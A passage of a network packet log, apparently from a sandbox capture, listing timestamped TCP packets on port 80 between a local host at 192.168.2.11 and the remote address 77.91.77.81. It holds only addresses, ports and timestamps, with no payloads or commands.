Jun 4, 2024 23:09:16.242444992 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.242460966 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.242475986 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.242625952 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.242643118 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.242656946 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.242676020 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.242681026 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.242687941 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.242701054 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.242712975 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.242713928 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.242717981 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.242727041 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.242736101 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.242748022 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.242757082 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.242758989 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.242770910 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.242779970 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.242783070 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.242794991 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.242799044 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.242806911 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.242818117 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.242826939 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.242830038 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.242842913 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.242851019 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.242855072 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.242865086 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.242867947 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.242894888 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.242933989 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.242944002 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.242955923 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.242970943 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.242991924 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.243047953 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.243065119 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.243077040 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.243093014 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.243103027 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.243103981 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.243114948 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.243119001 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.243127108 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.243132114 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.243139029 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.243149996 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.243160963 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.243161917 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.243174076 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.243185043 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.243187904 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.243201971 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.243204117 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.243216991 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.243220091 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.243227959 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.243243933 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.243256092 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.243268013 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.243278980 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.243288040 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.243289948 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.243302107 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.243305922 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.243314981 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.243329048 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.243335962 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.243366957 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.243609905 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.243622065 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.243640900 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.243657112 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.243792057 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.243824959 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.243880033 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.243891001 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.243901968 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.243908882 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.243921995 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.243921995 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.243933916 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.243941069 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.243944883 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.243954897 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.243957043 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.243968964 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.243973017 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.244000912 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.244014025 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.244082928 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.244117022 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.244179964 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.244189978 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.244200945 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.244211912 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.244214058 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.244230032 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.244231939 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.244240999 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.244252920 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.244263887 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.244263887 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.244277000 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.244281054 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.244287968 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.244299889 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.244304895 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.244317055 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.244318008 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.244329929 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.244340897 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.244349957 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.244365931 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.244381905 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.244383097 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.244396925 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.244402885 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.244407892 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.244410992 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.244421005 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.244426012 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.244443893 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.244457006 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.244465113 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.244467974 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.244479895 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.244503021 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.244509935 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.244517088 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.244522095 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.244529963 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.244541883 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.244546890 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.244574070 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.244601965 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.244653940 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.244668007 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.244905949 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.244923115 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.244935036 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.244946957 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.244957924 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.244959116 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.244976044 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.244976997 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.244988918 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.244995117 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.244999886 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.245012045 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.245017052 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.245031118 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.245037079 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.245043039 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.245054007 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.245062113 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.245069981 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.245079994 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.245083094 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.245096922 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.245100975 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.245109081 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.245119095 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.245126009 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.245138884 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.245162010 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.245172024 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.245182991 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.245194912 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.245212078 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.245214939 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.245223999 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.245237112 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.245240927 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.245253086 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.245260000 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.245264053 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.245277882 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.245284081 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.245301962 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.245322943 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.245353937 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.245376110 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.245383978 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.245388031 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.245399952 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.245404959 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.245426893 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.245446920 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.245457888 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.245466948 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.245469093 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.245476007 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.245502949 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.245506048 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.245583057 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.245594025 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.245614052 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.245639086 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.245646954 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.245677948 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.245774031 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.245796919 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.245809078 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.245815039 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.245826960 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.245843887 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.245914936 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.245923996 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.245953083 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.245955944 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.245970964 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.245986938 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.246000051 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.246016979 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.246032000 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.246043921 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.246056080 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.246062040 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.246073008 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.246083021 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.246089935 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.246109962 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.246125937 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.246136904 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.246141911 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.246153116 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.246155977 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.246166945 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.246172905 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.246181011 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.246186972 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.246196985 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.246198893 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.246212959 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.246226072 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.246311903 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.246321917 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.246360064 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.246371031 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.246381998 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.246393919 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.246402979 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.246413946 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.246422052 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.246423960 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.246433020 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.246443033 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.246463060 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.246464014 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.246470928 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.246485949 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.246496916 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.246509075 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.246520996 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.246530056 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.246546030 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.246634007 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.246660948 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.246670961 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.246671915 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.246682882 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.246690035 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.246701956 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.246723890 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.246738911 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.246750116 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.246761084 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.246771097 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.246777058 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.246788979 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.246805906 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.246845961 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.246857882 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.246870041 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.246876001 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.246882915 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.246887922 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.246903896 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.246920109 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.246920109 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.246932030 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.246951103 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.246965885 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.247028112 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.247044086 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.247057915 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.247064114 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.247075081 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.247075081 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.247086048 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.247088909 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.247097015 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.247102976 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.247109890 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.247121096 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.247122049 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.247132063 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.247133017 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.247143984 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.247148037 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.247157097 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.247174025 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.247191906 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.247267962 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.247361898 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.247390985 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.247404099 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.247426033 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.247473955 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.247483969 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.247502089 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.247514963 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.247525930 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.247526884 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.247539043 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.247560978 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.247566938 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.247586966 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.247601032 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.247641087 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.247653008 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.247663975 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.247685909 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.247709036 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.247761011 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.247833967 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.247844934 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.247857094 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.247869015 CEST	80	49713	77.91.77.81	192.168.2.11
